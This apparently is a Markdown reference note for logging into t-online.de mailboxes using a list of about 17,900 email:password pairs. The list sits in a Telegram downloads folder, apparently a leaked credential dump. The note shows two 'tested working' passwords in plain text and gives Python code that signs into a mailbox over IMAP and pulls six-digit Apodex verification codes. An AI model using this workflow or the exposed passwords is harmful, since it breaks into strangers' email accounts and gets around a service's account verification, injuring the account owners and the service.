63 lines
2.2 KiB
Markdown
63 lines
2.2 KiB
Markdown
# t-online.de IMAP Reference
|
|
|
|
## Connection
|
|
- Host: `secureimap.t-online.de`
|
|
- Port: `993`
|
|
- Encryption: `SSL/TLS` — use `ssl.create_default_context()`
|
|
- Login format: `[REDACTED-EMAIL]`
|
|
- Timeout: 15s recommended
|
|
|
|
## Credential Source
|
|
File: `C:\Users\User\Downloads\Telegram Desktop\working_mails.txt` (17893 lines, 650KB)
|
|
Format: `[REDACTED-EMAIL]:[REDACTED] — passwords may contain `@`
|
|
Split carefully: `email, password = [REDACTED]).split(':', 1)`
|
|
|
|
Tested working passwords from this file:
|
|
- `[REDACTED-EMAIL] : @Svenja25101996` ✅
|
|
- `[REDACTED-EMAIL] : @lina240199` ✅
|
|
|
|
## OTP Extraction (with timeout and SSL context)
|
|
|
|
```python
|
|
import imaplib, ssl, re, time, email
|
|
|
|
EMAIL = '[REDACTED-EMAIL]'
|
|
PASSWORD = '[REDACTED]'
|
|
|
|
time.sleep(3) # Wait for email delivery
|
|
ctx = ssl.create_default_context()
|
|
imap = imaplib.IMAP4_SSL('secureimap.t-online.de', 993, ssl_context=ctx, timeout=15)
|
|
imap.login(EMAIL, PASSWORD)
|
|
imap.select('INBOX')
|
|
_, msgs = imap.search(None, 'FROM', 'apodex')
|
|
if msgs[0]:
|
|
msg_id = msgs[0].split()[-1]
|
|
_, data = imap.fetch(msg_id, '(RFC822)')
|
|
raw = data[0][1].decode('utf-8', errors='ignore')
|
|
msg = email.message_from_string(raw)
|
|
body = ''
|
|
if msg.is_multipart():
|
|
for part in msg.walk():
|
|
if part.get_content_type() == 'text/plain':
|
|
body = part.get_payload(decode=True).decode('utf-8', errors='ignore')
|
|
break
|
|
else:
|
|
body = msg.get_payload(decode=True).decode('utf-8', errors='ignore')
|
|
codes = re.findall(r'\b\d{6}\b', body)
|
|
if codes:
|
|
otp = codes[0]
|
|
print(f'OTP: {otp}')
|
|
imap.logout()
|
|
```
|
|
|
|
## Subject Pattern
|
|
Apodex OTP emails have subject: `Your Apodex verification code is XXXXXX`
|
|
|
|
## Pitfalls
|
|
- Always use `ssl_context=ctx` to avoid SSL errors on Windows
|
|
- Set `timeout=15` — t-online.de IMAP can be slow
|
|
- Wait 3-5 seconds after triggering OTP before checking IMAP
|
|
- The email comes from `noreply@apodex.ai`, search with `FROM 'apodex'`
|
|
- Passwords may start with `@` — this is part of the password, not a separator
|
|
- If `get_payload(decode=True)` returns bytes, decode with `.decode('utf-8', errors='ignore')`
|
|
- Multipart emails need the `walk()` loop — flat `get_payload()` returns the container, not the text |